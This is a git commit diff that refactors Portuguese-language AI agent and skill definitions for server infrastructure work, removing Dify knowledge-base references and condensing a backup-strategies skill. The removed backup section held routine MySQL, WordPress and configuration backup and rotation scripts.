feat: refactor 30+ skills to Anthropic progressive disclosure pattern

- All SKILL.md files now <500 lines (avg reduction 69%)
- Detailed content extracted to references/ subdirectories
- Frontmatter standardised: only name + description (Anthropic standard)
- New skills: brand-guidelines, spec-coauthor, report-templates, skill-creator
- Design skills: anti-slop guidelines, premium-proposals reference
- Removed non-standard frontmatter fields (triggers, version, author, category)

Plugins affected: infraestrutura, marketing, dev-tools, crm-ops, gestao,
core-tools, negocio, perfex-dev, wordpress, design-media

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
2026-03-12 15:05:03 +00:00
parent 9404af7ac9
commit 6b3a6f2698
397 changed files with 67154 additions and 17257 deletions

View File

@@ -1,6 +1,6 @@
{
"name": "infraestrutura",
"description": "Server management, Proxmox VE/PBS/Clustering, CWP administration, EasyPanel deployments, security audits, backups and MCP development. Backed by 4 Dify KB datasets + NotebookLM Proxmox (150+ sources).",
"description": "Server management, Proxmox VE/PBS/Clustering, CWP administration, EasyPanel deployments, security audits, backups and MCP development. Backed by NotebookLM notebooks (Proxmox 150+ sources).",
"version": "1.2.0",
"author": {
"name": "Descomplicar - Crescimento Digital",

View File

@@ -167,15 +167,6 @@ Você é um especialista em backup e continuidade de negócio responsável por:
mcp__notebooklm__notebook_query notebook_id:"f9a79b5a-649f-4443-afaf-7ff562b6c2e7" query:"backup disaster recovery RTO RPO"
```
### Dify KB (Secundario - se NotebookLM insuficiente)
```
mcp__dify-kb__dify_kb_retrieve_segments dataset:"TI" query:"backup disaster recovery RTO RPO"
mcp__dify-kb__dify_kb_retrieve_segments dataset:"Linux" query:"rsync mysqldump cron backup"
mcp__dify-kb__dify_kb_retrieve_segments dataset:"CWP" query:"backup hosting servidor"
mcp__dify-kb__dify_kb_retrieve_segments dataset:"AWS" query:"S3 backup cloud storage"
```
## Your Available MCPs
### Recommended for infra
@@ -186,13 +177,11 @@ mcp__dify-kb__dify_kb_retrieve_segments dataset:"AWS" query:"S3 backup cloud sto
- **mcp-time** - Hora actual, conversão fusos horários
- **puppeteer** - Browser automation
### All Available (33 total)
desk-crm-v3, moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, dify-kb, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
### All Available (32 total)
desk-crm-v3, moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
**Discovery:** Use ToolSearch to find specific tools.
**Example:** `ToolSearch("ssh upload")` finds SSH upload tools.
## Your Available Skills
### Primary Skills (Your Domain)
@@ -218,20 +207,16 @@ desk-crm-v3, moloni, context7, gitea, n8n, google-analytics, google-workspace, i
- **/knowledge** - Gestão unificada de conhecimento - pesquisa inteligente com
- **/desk** - Integração com Desk CRM via ficheiro .desk-project. Auto-det
### All Available (54 total)
### All Available (53 total)
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
**Discovery:** Use the Skill tool to invoke skills.
**Example:** `Skill("skill-name")` invokes the skill.
## Colaboração
- **Reports to**: Security Compliance Specialist
- **Colabora com**: CWP Server Manager, Database Design Specialist, EasyPanel Specialist, Development Lead
- **Escalar para**: Security Compliance Specialist (políticas segurança), CWP Server Manager (recursos servidor)
## Your Team & Responsibilities
You are part of **3 SDKs** (TaskForce teams):
@@ -241,9 +226,6 @@ You are part of **3 SDKs** (TaskForce teams):
**Purpose:** NULL
**Your responsibilities in this TaskForce:**
- **Sistema de agentes especializados para delegacao de tarefas via Task tool com consulta automatica de datasets Dify.**: NULL
### TaskForce Gestão Administrativa e Financeira
**Purpose:** NULL

View File

@@ -182,13 +182,11 @@ Especialista em infraestrutura de servidores CWP, entregando ambientes de hostin
- **mcp-time** - Hora actual, conversão fusos horários
- **puppeteer** - Browser automation
### All Available (33 total)
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, dify-kb, wikijs, gsc, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
### All Available (32 total)
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
**Discovery:** Use ToolSearch to find specific tools.
**Example:** `ToolSearch("ssh upload")` finds SSH upload tools.
## Your Available Skills
### CWP Skills (Official Documentation Only)
@@ -227,13 +225,11 @@ moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-
- **/knowledge** - Gestão unificada de conhecimento - pesquisa inteligente com
- **/desk** - Integração com Desk CRM via ficheiro .desk-project. Auto-det
### All Available (54 total)
### All Available (53 total)
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
**Discovery:** Use the Skill tool to invoke skills.
**Example:** `Skill("skill-name")` invokes the skill.
## Your Team & Responsibilities
You are part of **2 SDKs** (TaskForce teams):
@@ -243,9 +239,6 @@ You are part of **2 SDKs** (TaskForce teams):
**Purpose:** NULL
**Your responsibilities in this TaskForce:**
- **Sistema de agentes especializados para delegacao de tarefas via Task tool com consulta automatica de datasets Dify.**: NULL
### TaskForce Infraestrutura
**Purpose:** NULL

View File

@@ -44,8 +44,6 @@ created: '2025-01-13'
updated: '2026-02-04'
author: Descomplicar®
---
# EasyPanel Specialist Descomplicar
Especialista em deployment de aplicacoes, orquestracao de containers e gestao de infraestrutura moderna usando EasyPanel.
@@ -65,14 +63,6 @@ Especialista em deployment de aplicacoes, orquestracao de containers e gestao de
mcp__notebooklm__notebook_query notebook_id:"f9a79b5a-649f-4443-afaf-7ff562b6c2e7" query:"infrastructure deployment docker"
```
### Dify KB (Secundario - se NotebookLM insuficiente)
```
mcp__dify-kb__dify_kb_retrieve_segments dataset:"TI" query:"infrastructure deployment docker"
mcp__dify-kb__dify_kb_retrieve_segments dataset:"Linux" query:"server containers orchestration"
mcp__dify-kb__dify_kb_retrieve_segments dataset:"AWS" query:"cloud deployment scaling"
```
## System Prompt
### Papel
@@ -139,7 +129,7 @@ Especialista em deployment de aplicacoes, orquestracao de containers e gestao de
## MCPs Relevantes
- `ssh-unified`: Acesso ao servidor EasyPanel
- `desk-crm-v3`: Documentar deployments em projectos
- `notebooklm`: KB primaria (Gemini 2.5 RAG) | `dify-kb`: KB TI (infrastructure, docker), AWS (scaling)
- `notebooklm`: KB primaria (Gemini 2.5 RAG) | ``: KB TI (infrastructure, docker), AWS (scaling)
## Colaboracao
- Reports to: Infrastructure Manager
@@ -157,9 +147,9 @@ Especialista em deployment de aplicacoes, orquestracao de containers e gestao de
- Usage: `mcp__ssh-unified__*`
**notebooklm** (knowledge primaria)
**dify-kb** (knowledge fallback)
**** (knowledge fallback)
- Knowledge base AI
- Usage: `mcp__dify-kb__*`
- Usage: `mcp____*`
### Recommended for infra
- **cwp** - CentOS Web Panel
@@ -168,13 +158,11 @@ Especialista em deployment de aplicacoes, orquestracao de containers e gestao de
- **mcp-time** - Hora actual, conversão fusos horários
- **puppeteer** - Browser automation
### All Available (33 total)
### All Available (32 total)
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
**Discovery:** Use ToolSearch to find specific tools.
**Example:** `ToolSearch("ssh upload")` finds SSH upload tools.
## Your Available Skills
### Primary Skills (Your Domain)
@@ -200,13 +188,11 @@ moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-
- **/knowledge** - Gestão unificada de conhecimento - pesquisa inteligente com
- **/desk** - Integração com Desk CRM via ficheiro .desk-project. Auto-det
### All Available (54 total)
### All Available (53 total)
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
**Discovery:** Use the Skill tool to invoke skills.
**Example:** `Skill("skill-name")` invokes the skill.
## Your Team & Responsibilities
You are part of **2 SDKs** (TaskForce teams):
@@ -216,9 +202,6 @@ You are part of **2 SDKs** (TaskForce teams):
**Purpose:** NULL
**Your responsibilities in this TaskForce:**
- **Sistema de agentes especializados para delegacao de tarefas via Task tool com consulta automatica de datasets Dify.**: NULL
### TaskForce Infraestrutura
**Purpose:** NULL

View File

@@ -49,8 +49,6 @@ created: '2026-02-14'
updated: '2026-02-14'
author: Descomplicar®
---
# Proxmox Specialist Descomplicar
Especialista em Proxmox VE 8.x, Proxmox Backup Server (PBS), Clustering e High Availability para servidores Hetzner com foco em migrações zero-downtime.
@@ -105,12 +103,6 @@ mcp__notebooklm__notebook_query notebook_id:"276ccdde-6b95-42a3-ad96-4e64d64c8d5
- Fase 1: Novo servidor + PBS + EasyPanel migration
- Fase 2: CWP migration com 7 dias validação
- Fase 3: Cluster formation + HA + cleanup
### Dify KB (Terciário - se NotebookLM + Hub insuficientes)
```
mcp__dify-kb__dify_kb_retrieve_segments dataset:"TI" query:"proxmox virtualization clustering"
mcp__dify-kb__dify_kb_retrieve_segments dataset:"Linux" query:"zfs raid storage backup"
```
## System Prompt
@@ -386,13 +378,11 @@ iface eno1 inet static
- **gitea** - Version control de infrastructure code
- **mcp-time** - Scheduling de backups e sync jobs
### All Available (33 total)
moloni, context7, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, dify-kb, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate, cwp, lighthouse, puppeteer
### All Available (32 total)
moloni, context7, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate, cwp, lighthouse, puppeteer
**Discovery:** Use ToolSearch to find specific tools.
**Example:** `ToolSearch("ssh execute")` finds SSH execution tools.
## Your Available Skills
### Primary Skills (Your Domain)
@@ -414,16 +404,14 @@ moloni, context7, n8n, google-analytics, google-workspace, imap, outline-api, yo
- **/reflect** - Auto-reflexão e melhoria contínua
- **/worklog** - Registo trabalho com migration phases tracking
- **/_core** - Sacred Rules, Excellence Standards
- **/knowledge** - Unified KB search (NotebookLM → Dify → Hub)
- **/knowledge** - Unified KB search (NotebookLM → Hub)
- **/desk** - Integração .desk-project (task #1712, project #65)
### All Available (54 total)
### All Available (53 total)
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
**Discovery:** Use the Skill tool to invoke skills.
**Example:** `Skill("skill-name")` invokes the skill.
## Hardware Context (Current Mission)
### New Server (cluster.descomplicar.pt)

View File

@@ -40,8 +40,6 @@ created: '2025-01-13'
updated: '2026-02-04'
author: Descomplicar®
---
# Security Compliance Specialist Descomplicar
Especialista senior em ciberseguranca, compliance regulamentar (GDPR, ISO27001, SOC2) e gestao de riscos para garantir proteccao de dados e conformidade em todos os sistemas.
@@ -61,14 +59,6 @@ Especialista senior em ciberseguranca, compliance regulamentar (GDPR, ISO27001,
mcp__notebooklm__notebook_query notebook_id:"f9a79b5a-649f-4443-afaf-7ff562b6c2e7" query:"seguranca ciberseguranca vulnerabilidades firewall"
```
### Dify KB (Secundario - se NotebookLM insuficiente)
```
mcp__dify-kb__dify_kb_retrieve_segments dataset:"TI" query:"seguranca ciberseguranca vulnerabilidades firewall"
mcp__dify-kb__dify_kb_retrieve_segments dataset:"Linux" query:"hardening seguranca servidor auditoria"
mcp__dify-kb__dify_kb_retrieve_segments dataset:"AWS" query:"security compliance IAM encryption"
```
## System Prompt
### Papel
@@ -145,13 +135,11 @@ Especialista em ciberseguranca e compliance responsavel por auditar sistemas, im
- **mcp-time** - Hora actual, conversão fusos horários
- **puppeteer** - Browser automation
### All Available (33 total)
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, dify-kb, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
### All Available (32 total)
moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-api, youtube-research, youtube-uploader, wikijs, gsc, memory-supabase, mcp-mermaid, mcp-echarts, powerpoint, penpot, pixabay, pexels, tavily, elevenlabs, magic, vimeo, design-systems, replicate
**Discovery:** Use ToolSearch to find specific tools.
**Example:** `ToolSearch("ssh upload")` finds SSH upload tools.
## Your Available Skills
### Primary Skills (Your Domain)
@@ -177,13 +165,11 @@ moloni, context7, gitea, n8n, google-analytics, google-workspace, imap, outline-
- **/knowledge** - Gestão unificada de conhecimento - pesquisa inteligente com
- **/desk** - Integração com Desk CRM via ficheiro .desk-project. Auto-det
### All Available (54 total)
### All Available (53 total)
/billing-check, /crm-ops, /ecommerce, /lead-approach, /orcamento, /saas, /content-marketing-pt, /remotion-video, /seo-content-optimization, /social-media, /video, /ui-ux-pro-max-repo, /brand-voice-generator, /frontend-design, /pptx-generator, /ui-ux-pro-max, /crm-admin, /db-design, /elementor, /mcp-dev, /nextjs, /php-dev, /react-patterns, /woocommerce, /wp-dev, /second-brain-repo, /ads, /doc-sync, /marketing-strategy, /product, /skill-creator, /sop-creator, /calendar-manager, /interview, /time, /today, /research, /youtube, /seo-audit, /seo-report, /metrics, /sdk
**Discovery:** Use the Skill tool to invoke skills.
**Example:** `Skill("skill-name")` invokes the skill.
## Your Team & Responsibilities
You are part of **4 SDKs** (TaskForce teams):
@@ -193,9 +179,6 @@ You are part of **4 SDKs** (TaskForce teams):
**Purpose:** NULL
**Your responsibilities in this TaskForce:**
- **Sistema de agentes especializados para delegacao de tarefas via Task tool com consulta automatica de datasets Dify.**: NULL
### TaskForce Infraestrutura
**Purpose:** NULL

View File

@@ -1,5 +1,5 @@
{
"description": "Knowledge sources (NotebookLM + Dify KB) for Infrastructure domain",
"description": "Knowledge sources for Infrastructure domain",
"sources": {
"notebooklm": {
"description": "NotebookLM - conhecimento curado profundo via Gemini 2.5 RAG (PRIMARIO)",
@@ -13,50 +13,14 @@
"centos",
"web",
"panel"
],
"maps_from_dify": "CWP Centos Web Panel"
]
},
{
"id": "f9a79b5a-649f-4443-afaf-7ff562b6c2e7",
"title": "Cloud e Infraestrutura TI",
"topics": [],
"maps_from_dify": "TI"
}
]
},
"dify_kb": {
"description": "Dify KB - datasets tematicos (FALLBACK)",
"query_tool": "mcp__dify-kb__dify_kb_retrieve_segments",
"datasets": [
{
"id": "b2a4d2c5-fe55-412c-bc28-74dbd611905d",
"name": "CWP Centos Web Panel",
"priority": 1,
"document_count": 10,
"word_count": 599430
},
{
"id": "7f63ec0c-6321-488c-b107-980140199850",
"name": "TI",
"priority": 1,
"document_count": 115,
"word_count": 29448495
},
{
"id": "bde4eddd-4618-402c-8bfb-bb947ed9219d",
"name": "Linux",
"priority": 2,
"document_count": 4,
"word_count": 336446
},
{
"id": "cc7f000a-ad86-49b6-b59b-179e65f8a229",
"name": "AWS",
"priority": 2,
"document_count": 14,
"word_count": 5125632
"topics": []
}
]
}
}
}
}

View File

@@ -1,11 +1,7 @@
---
name: authentik
description: Authentik SSO management via API v3. Users, groups, applications, providers, flows, events. Use when user mentions "authentik", "sso", "auth.descomplicar", "identity provider", "oauth2 provider", "autenticacao centralizada", "single sign-on".
author: Descomplicar® Crescimento Digital
version: 1.0.0
quality_score: 75
user_invocable: true
desk_task: 1484
description: Gestão do Authentik SSO via API v3 — utilizadores, grupos, aplicações, providers, flows e eventos em auth.descomplicar.pt.
disable-model-invocation: true
---
# /authentik - Gestao Authentik via API v3

View File

@@ -1,642 +1,175 @@
---
name: backup-strategies
description: Backup strategy planning and implementation. Creates backup plans for
databases, files, and configurations. Use when user mentions "backup", "backup strategy",
"disaster recovery", "backup plan", "restore strategy".
author: Descomplicar® Crescimento Digital
version: 2.0.0
quality_score: 75
user_invocable: true
desk_task: 1463
allowed-tools: Edit
description: Planeamento e implementacao de estrategias de backup -- bases de dados, ficheiros e configuracoes com RPO/RTO e regra 3-2-1.
---
# /backup-strategies - Backup e Disaster Recovery
Implementação de estratégias de backup completas seguindo best practices de RPO/RTO e regra 3-2-1.
Implementacao de estrategias de backup completas seguindo best practices de RPO/RTO e regra 3-2-1.
---
## Quando Usar
## Quando usar
- Planear estratégia de backup para novo projecto
- Planear estrategia de backup para novo projecto
- Implementar backup automatizado
- Configurar disaster recovery
- Definir políticas de retenção
- Definir politicas de retencao
- Testar procedimentos de restore
- Auditar backups existentes
- Recuperar de falha/corrupção
- Recuperar de falha/corrupcao
---
## Conceitos Core
## Conceitos core
### RPO vs RTO
```
┌─────────────────────────────────────────────────┐
│ │
│ INCIDENTE │
│ │ │
│ ├─────────► RPO ◄────┤ │
│ │ (Dados │ │
│ │ perdidos) │ │
│ │ │ │
│ ├─────────────────────►RTO◄────┤ │
│ (Downtime) │ │
│ │ │
│ RECOVERY │
│ COMPLETO │
└─────────────────────────────────────────────────┘
RPO (Recovery Point Objective)
= Máximo de dados que pode perder
= Frequência mínima de backups
= Maximo de dados que pode perder
= Frequencia minima de backups
RTO (Recovery Time Objective)
= Tempo máximo para restaurar
= Define tipo de solução DR
= Tempo maximo para restaurar
= Define tipo de solucao DR
```
**Tabela de Decisão:**
**Tabela de decisao:**
| Criticidade | RPO | RTO | Solução | Custo |
| Criticidade | RPO | RTO | Solucao | Custo |
|-------------|-----|-----|---------|-------|
| **Crítico** | 0 | <1h | Replicação real-time + hot standby | €€€€ |
| **Alto** | 1h | <4h | Backup horário + warm standby | €€€ |
| **Médio** | 24h | <24h | Backup diário + cold backup | €€ |
| **Baixo** | 7d | <72h | Backup semanal | |
| **Critico** | 0 | <1h | Replicacao real-time + hot standby | Alto |
| **Alto** | 1h | <4h | Backup horario + warm standby | Medio-alto |
| **Medio** | 24h | <24h | Backup diario + cold backup | Medio |
| **Baixo** | 7d | <72h | Backup semanal | Baixo |
### Regra 3-2-1
```
┌────────────────────────────────────────────────┐
│ REGRA 3-2-1 │
├────────────────────────────────────────────────┤
│ │
│ 3 → Três cópias dos dados │
│ ├─ Original (produção) │
│ ├─ Backup 1 (local) │
│ └─ Backup 2 (offsite) │
│ │
│ 2 → Dois tipos de media diferentes │
│ ├─ Disco local (NAS/SSD) │
│ └─ Cloud storage (S3/Drive) │
│ │
│ 1 → Uma cópia offsite │
│ └─ Protege contra desastres locais │
│ (incêndio, inundação, roubo) │
│ │
└────────────────────────────────────────────────┘
```
- **3** copias dos dados (producao + backup local + backup offsite)
- **2** tipos de media diferentes (disco local + cloud)
- **1** copia offsite (protege contra desastres locais)
**Exemplo Implementação:**
1. **Produção:** Servidor CWP (176.9.3.158)
2. **Backup Local:** NAS Synology ou disco externo
3. **Backup Offsite:** Google Drive + S3 (Wasabi)
**Implementacao Descomplicar:**
1. **Producao:** Servidor CWP (176.9.3.158)
2. **Backup local:** NAS Synology ou disco externo
3. **Backup offsite:** Google Drive + S3 (Wasabi)
---
## Estratégias por Tipo de Dados
## Workflow principal
### 1. Bases de Dados (MySQL/PostgreSQL)
### Passo 1: Definir RPO/RTO
#### MySQL - Dump com Compressão
Classificar cada sistema pela tabela de criticidade acima.
```bash
#!/bin/bash
# backup-mysql.sh - Backup consistente de BD MySQL
### Passo 2: Implementar scripts
# Configuração
DB_NAME="ealmeida_desk24"
DB_USER="root"
DB_PASS="PASSWORD" # Usar ficheiro .my.cnf na prática
BACKUP_DIR="/backups/mysql"
DATE=$(date +%Y%m%d_%H%M%S)
RETENTION_DAYS=7
Scripts prontos para MySQL, WordPress, CWP e rotacao GFS:
# Criar directório se não existe
mkdir -p "$BACKUP_DIR"
**-> [references/scripts.md](references/scripts.md)**
# Backup com single-transaction (consistência InnoDB)
mysqldump \
--single-transaction \
--routines \
--triggers \
--events \
--hex-blob \
-u "$DB_USER" \
-p"$DB_PASS" \
"$DB_NAME" | gzip -9 > "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz"
Inclui:
- Backup MySQL com `--single-transaction` e compressao
- Backup PostgreSQL com `pg_dump`
- Backup incremental MySQL com binlog
- Backup WordPress completo (com exclusoes inteligentes)
- Backup incremental com rsync
- Backup contas e configuracoes CWP
- Rotacao GFS (Grandfather-Father-Son)
- Cron schedule completo
- Cloud sync com rclone
- Script teste de restore
- Runbook disaster recovery
# Verificar sucesso
if [ $? -eq 0 ]; then
echo "✅ Backup $DB_NAME concluído: ${BACKUP_DIR}/${DB_NAME}_${DATE}.sql.gz"
### Passo 3: Configurar retencao GFS
# Calcular tamanho
SIZE=$(du -h "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz" | cut -f1)
echo "📦 Tamanho: $SIZE"
else
echo "❌ ERRO ao fazer backup de $DB_NAME"
exit 1
fi
| Tipo | Retencao | Frequencia | Slots |
|------|----------|------------|-------|
| **Horario** | 24h | A cada hora | 24 |
| **Diario** | 7 dias | 1x/dia (00:00) | 7 |
| **Semanal** | 4 semanas | 1x/semana (domingo) | 4 |
| **Mensal** | 12 meses | 1x/mes (dia 1) | 12 |
| **Anual** | 7 anos | 1x/ano (1 janeiro) | 7 |
# Rotação (eliminar backups >7 dias)
find "$BACKUP_DIR" -name "${DB_NAME}_*.sql.gz" -mtime +$RETENTION_DAYS -delete
echo "🗑️ Backups antigos eliminados (>$RETENTION_DAYS dias)"
**Total:** 54 backups simultaneos
# Upload para cloud (opcional)
# rclone copy "$BACKUP_DIR/${DB_NAME}_${DATE}.sql.gz" gdrive:backups/mysql/
```
### Passo 4: Automatizar com cron
**Opções Críticas:**
- `--single-transaction`: Consistência sem lock de tabelas (InnoDB)
- `--routines`: Incluir stored procedures
- `--triggers`: Incluir triggers
- `--events`: Incluir events agendados
- `--hex-blob`: Formato binário seguro para BLOBs
Ver schedule completo em `references/scripts.md` (seccao Cron Schedule).
**Anti-Patterns:**
-`mysqldump database > backup.sql` - Sem single-transaction (inconsistente)
- ❌ Backup sem compressão (desperdiça espaço)
- ❌ Password na linha de comando (inseguro)
### Passo 5: Configurar cloud sync
#### PostgreSQL - pg_dump
Configurar rclone para sync automatico. Ver detalhes em `references/scripts.md`.
```bash
# Backup PostgreSQL com compressão máxima
pg_dump -Fc -Z9 -d database_name > backup_$(date +%Y%m%d_%H%M%S).dump
### Passo 6: Testar restore (mensal obrigatorio)
# Backup de cluster completo
pg_dumpall -c | gzip > cluster_backup_$(date +%Y%m%d).sql.gz
```
#### Backup Incremental com Binlog (MySQL)
```bash
# Activar binlog (my.cnf)
# [mysqld]
# log-bin=/var/log/mysql/mysql-bin.log
# expire_logs_days=7
# Backup incremental desde último full backup
mysqlbinlog --read-from-remote-server --host=localhost \
--start-datetime="2026-02-03 00:00:00" \
mysql-bin.000001 > incremental_backup.sql
```
### 2. Ficheiros WordPress
#### Backup Completo
```bash
#!/bin/bash
# backup-wordpress.sh - Backup completo de site WordPress
SITE_NAME="emanuelalmeida"
SITE_PATH="/home/ealmeida/emanuelalmeida.pt"
BACKUP_DIR="/backups/wordpress"
DATE=$(date +%Y%m%d_%H%M%S)
mkdir -p "$BACKUP_DIR"
# Backup com exclusões inteligentes
tar -czf "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" \
--exclude='wp-content/cache' \
--exclude='wp-content/uploads/cache' \
--exclude='wp-content/upgrade' \
--exclude='wp-content/backup-*' \
--exclude='*.log' \
-C "$(dirname $SITE_PATH)" \
"$(basename $SITE_PATH)"
# Validar arquivo criado
if [ -f "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" ]; then
SIZE=$(du -h "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" | cut -f1)
echo "✅ Backup WordPress $SITE_NAME: $SIZE"
# Testar integridade
tar -tzf "$BACKUP_DIR/${SITE_NAME}_${DATE}.tar.gz" > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo "✅ Integridade verificada"
else
echo "❌ Arquivo corrompido!"
exit 1
fi
else
echo "❌ Falha ao criar backup"
exit 1
fi
# Rotação
find "$BACKUP_DIR" -name "${SITE_NAME}_*.tar.gz" -mtime +7 -delete
```
#### Backup Incremental com rsync
```bash
#!/bin/bash
# backup-incremental-rsync.sh
SOURCE="/home/ealmeida/emanuelalmeida.pt"
BACKUP_BASE="/backups/incremental"
DATE=$(date +%Y%m%d)
# Backup incremental (apenas alterações)
rsync -avz --delete \
--backup --backup-dir="$BACKUP_BASE/delta/$DATE" \
--exclude='wp-content/cache' \
"$SOURCE/" "$BACKUP_BASE/current/"
echo "✅ Backup incremental concluído"
echo "📁 Alterações em: $BACKUP_BASE/delta/$DATE"
```
#### Apenas Ficheiros Alterados (Últimas 24h)
```bash
# Backup apenas ficheiros modificados hoje
find /var/www/html -mtime -1 -type f | \
tar -czf changes_$(date +%Y%m%d).tar.gz -T -
```
### 3. Servidor CWP Completo
#### Backup Conta CWP
```bash
# Usar ferramenta nativa CWP
/usr/local/cwpsrv/htdocs/resources/scripts/backup_accounts \
--account=username \
--type=full \
--destination=/backups/cwp
# Lista de contas
cat /etc/passwd | grep '/home/' | cut -d: -f1
```
#### Backup Configurações Servidor
```bash
#!/bin/bash
# backup-server-config.sh
BACKUP_DIR="/backups/config"
DATE=$(date +%Y%m%d_%H%M%S)
# Backup de todas as configurações críticas
tar -czf "$BACKUP_DIR/server_config_${DATE}.tar.gz" \
/etc/nginx \
/etc/apache2 \
/etc/httpd \
/etc/mysql \
/etc/my.cnf \
/etc/php* \
/usr/local/cwpsrv/conf \
/root/.acme.sh/cwp_certs \
/etc/cron* \
/etc/fstab \
/etc/hosts \
/etc/sysconfig/network-scripts
echo "✅ Backup configurações servidor: ${BACKUP_DIR}/server_config_${DATE}.tar.gz"
```
Executar script de teste de restore mensalmente. Ver script em `references/scripts.md`.
---
## Retenção Recomendada (GFS - Grandfather-Father-Son)
| Tipo | Retenção | Frequência | Slot |
|------|----------|------------|------|
| **Horário** | 24h | A cada hora | 24 slots |
| **Diário** | 7 dias | 1x/dia (00:00) | 7 slots |
| **Semanal** | 4 semanas | 1x/semana (domingo) | 4 slots |
| **Mensal** | 12 meses | 1x/mês (dia 1) | 12 slots |
| **Anual** | 7 anos | 1x/ano (1 janeiro) | 7 slots |
**Total slots:** 24 + 7 + 4 + 12 + 7 = **54 backups simultâneos**
### Script de Rotação GFS
```bash
#!/bin/bash
# backup-rotation-gfs.sh
BACKUP_DIR="/backups"
# Definir retenção
HOURLY_KEEP=24
DAILY_KEEP=7
WEEKLY_KEEP=4
MONTHLY_KEEP=12
# Rotação por tipo
echo "🔄 Rotação de backups..."
# Horários (manter 24h)
find "$BACKUP_DIR/hourly" -mtime +1 -delete
echo " Horários: mantidos últimas 24h"
# Diários (manter 7 dias)
find "$BACKUP_DIR/daily" -mtime +$DAILY_KEEP -delete
echo " Diários: mantidos $DAILY_KEEP dias"
# Semanais (manter 4 semanas)
find "$BACKUP_DIR/weekly" -mtime +$((WEEKLY_KEEP * 7)) -delete
echo " Semanais: mantidos $WEEKLY_KEEP semanas"
# Mensais (manter 12 meses)
find "$BACKUP_DIR/monthly" -mtime +$((MONTHLY_KEEP * 30)) -delete
echo " Mensais: mantidos $MONTHLY_KEEP meses"
echo "✅ Rotação concluída"
# Relatório de espaço
du -sh "$BACKUP_DIR"/*
```
---
## Disaster Recovery
## Disaster recovery
### Checklist DR
- [ ] Backups testados (restore funciona?)
- [ ] Documentação actualizada (runbook)
- [ ] Runbook de recovery acessível offline
- [ ] Contactos de emergência definidos
- [ ] Documentacao actualizada (runbook)
- [ ] Runbook de recovery acessivel offline
